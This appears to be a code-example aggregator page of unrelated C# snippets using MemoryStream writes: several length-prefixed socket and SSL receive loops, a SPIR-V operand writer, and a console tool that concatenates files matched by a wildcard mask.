示例#1
0
 public void ReadServertData(IAsyncResult ar)
 {
     try
     {
         if (!ClientSocket.IsConnected || !IsConnected)
         {
             IsConnected = false;
             Dispose();
             return;
         }
         int recevied = SslClient.EndRead(ar);
         if (recevied > 0)
         {
             MS.Write(Buffer, 0, recevied);
             if (MS.Length == 4)
             {
                 Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
                 Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes  ///");
                 MS.Dispose();
                 MS = new MemoryStream();
                 if (Buffersize > 0)
                 {
                     Buffer = new byte[Buffersize];
                     while (MS.Length != Buffersize)
                     {
                         int rc = SslClient.Read(Buffer, 0, Buffer.Length);
                         if (rc == 0)
                         {
                             IsConnected = false;
                             Dispose();
                             return;
                         }
                         MS.Write(Buffer, 0, rc);
                         Buffer = new byte[Buffersize - MS.Length];
                     }
                     if (MS.Length == Buffersize)
                     {
                         ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray());
                         Buffer = new byte[4];
                         MS.Dispose();
                         MS = new MemoryStream();
                     }
                 }
             }
             SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
         }
         else
         {
             IsConnected = false;
             Dispose();
             return;
         }
     }
     catch
     {
         IsConnected = false;
         Dispose();
         return;
     }
 }
示例#2
0
 public static void ReadServertData(IAsyncResult ar)
 {
     try
     {
         if (!TcpClient.Connected || !IsConnected)
         {
             IsConnected = false;
             return;
         }
         int recevied = SslClient.EndRead(ar);
         if (recevied > 0)
         {
             MS.Write(Buffer, 0, recevied);
             if (MS.Length == 4)
             {
                 Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
                 Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes  ///");
                 MS.Dispose();
                 MS = new MemoryStream();
                 if (Buffersize > 0)
                 {
                     Buffer = new byte[Buffersize];
                     while (MS.Length != Buffersize)
                     {
                         int rc = SslClient.Read(Buffer, 0, Buffer.Length);
                         if (rc == 0)
                         {
                             IsConnected = false;
                             return;
                         }
                         MS.Write(Buffer, 0, rc);
                         Buffer = new byte[Buffersize - MS.Length];
                     }
                     if (MS.Length == Buffersize)
                     {
                         Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
                         thread.Start(MS.ToArray());
                         Buffer = new byte[4];
                         MS.Dispose();
                         MS = new MemoryStream();
                     }
                 }
             }
             SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
         }
         else
         {
             IsConnected = false;
             return;
         }
     }
     catch
     {
         IsConnected = false;
         return;
     }
 }
        public static void ReadServertData(IAsyncResult Iar)
        {
            try
            {
                if (!Client.Connected)
                {
                    Connected = false;
                    return;
                }

                int Recevied = Client.EndReceive(Iar);
                if (Recevied > 0)
                {
                    if (BufferRecevied == false)
                    {
                        MS.Write(Buffer, 0, Recevied);
                        Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
                        Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes  ///");
                        MS.Dispose();
                        MS = new MemoryStream();
                        if (Buffersize > 0)
                        {
                            Buffer         = new byte[Buffersize];
                            BufferRecevied = true;
                        }
                    }
                    else
                    {
                        MS.Write(Buffer, 0, Recevied);
                        if (MS.Length == Buffersize)
                        {
                            ThreadPool.QueueUserWorkItem(HandlePacket.Read, Settings.aes256.Decrypt(MS.ToArray()));
                            Buffer = new byte[4];
                            MS.Dispose();
                            MS             = new MemoryStream();
                            BufferRecevied = false;
                        }
                        else
                        {
                            Buffer = new byte[Buffersize - MS.Length];
                        }
                    }
                    Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
                }
                else
                {
                    Connected = false;
                    return;
                }
            }
            catch
            {
                Connected = false;
                return;
            }
        }
示例#4
0
 /// <summary>
 /// Write instruction operands into bytecode stream.
 /// </summary>
 /// <param name="writer">Bytecode writer.</param>
 public override void WriteOperands(WordWriter writer)
 {
     SampledType.Write(writer);
     Dim.Write(writer);
     Depth.Write(writer);
     Arrayed.Write(writer);
     MS.Write(writer);
     Sampled.Write(writer);
     ImageFormat.Write(writer);
     if (AccessQualifier != null)
     {
         AccessQualifier.Write(writer);
     }
 }
示例#5
0
        /// get the length of the buffer by reading byte by byte [1]
        /// until we get the full size.
        public static void ReadServertData(IAsyncResult ar)
        {
            try
            {
                if (Client.Connected == false)
                {
                    Reconnect();
                    return;
                }

                int Recevied = Client.EndReceive(ar);

                if (Recevied > 0)
                {
                    if (BufferRecevied == false)
                    {
                        if (Buffer[0] == 0)
                        {
                            Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
                            Debug.WriteLine("///  Buffersize: " + Buffersize.ToString() + "Bytes  ///");
                            MS.Dispose();
                            MS = new MemoryStream();
                            if (Buffersize > 0)
                            {
                                Buffer         = new byte[Buffersize - 1];
                                BufferRecevied = true;
                            }
                        }
                        else
                        {
                            MS.Write(Buffer, 0, Buffer.Length);
                        }
                    }
                    else
                    {
                        MS.Write(Buffer, 0, Recevied);
                        if (MS.Length == Buffersize)
                        {
                            ThreadPool.QueueUserWorkItem(HandlePacket.Read, MS.ToArray());
                            MS.Dispose();
                            MS             = new MemoryStream();
                            Buffer         = new byte[1];
                            Buffersize     = 0;
                            BufferRecevied = false;
                        }
                        else
                        {
                            Buffer = new byte[Buffersize - MS.Length];
                        }
                    }
                    Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
                }
                else
                {
                    Reconnect();
                }
            }
            catch
            {
                Reconnect();
            }
        }
示例#6
0
        static void Main(string[] args)
        {
#if DEBUG
            args = new string[]
            {
                @"C:\Users\AyrA\Desktop\rnd\rnd_*.bin",
                @"C:\Users\AyrA\Desktop\rnd\_test.rnd"
            };
            long start = DateTime.Now.Ticks;
#endif
            if (args.Length > 1)
            {
                List <string> Source = new List <string>();
                string        Dest   = args[args.Length - 1];
                for (int i = 0; i < args.Length - 1; i++)
                {
                    if (args[i].Contains("?") || args[i].Contains("*"))
                    {
                        int len = Source.Count;
                        Source.AddRange(MaskMatch.Match(args[i], MatchType.File));
                        if (len == Source.Count)
                        {
                            Console.Error.WriteLine("Mask yielded 0 rresults: {0}", args[i]);
                            return;
                        }
                    }
                    else
                    {
                        if (File.Exists(args[i]))
                        {
                            Source.Add(args[i]);
                        }
                        else
                        {
                            Console.Error.WriteLine("Input file not found: {0}", args[i]);
                            return;
                        }
                    }
                }
                if (File.Exists(Dest))
                {
                    File.Delete(Dest);
                }
                foreach (string F in Source)
                {
                    if (!File.Exists(F))
                    {
                        Console.Error.WriteLine("Input file not found: {0}", F);
                    }
                }
                using (FileStream FS = File.Create(Dest))
                {
                    MemoryStream MS = new MemoryStream();
                    foreach (string F in Source)
                    {
                        Console.Error.WriteLine("{0} [READ]", F);
                        byte[] B = File.ReadAllBytes(F);

                        //if Position==0, do not copy but wait one more turn
                        if (MS.Position + B.Length > MAXLEN && MS.Position > 0)
                        {
                            Console.Error.WriteLine("Flushing buffer [WRITE]");
                            FS.Write(MS.ToArray(), 0, (int)MS.Position);
                            MS.Dispose();
                            MS = new MemoryStream();
                        }
                        MS.Write(B, 0, B.Length);
                    }
                    Console.Error.WriteLine("Flushing buffer [WRITE]");
                    FS.Write(MS.ToArray(), 0, (int)MS.Position);
                    MS.Dispose();
                    Console.Error.WriteLine("[DONE]");
                }
            }
#if DEBUG
            long end = DateTime.Now.Ticks;
            Console.Error.WriteLine("Execution time: {0:0.00} Seconds", new TimeSpan(end - start).TotalSeconds);
            Console.Error.WriteLine("#END");
            Console.ReadKey(true);
#endif
        }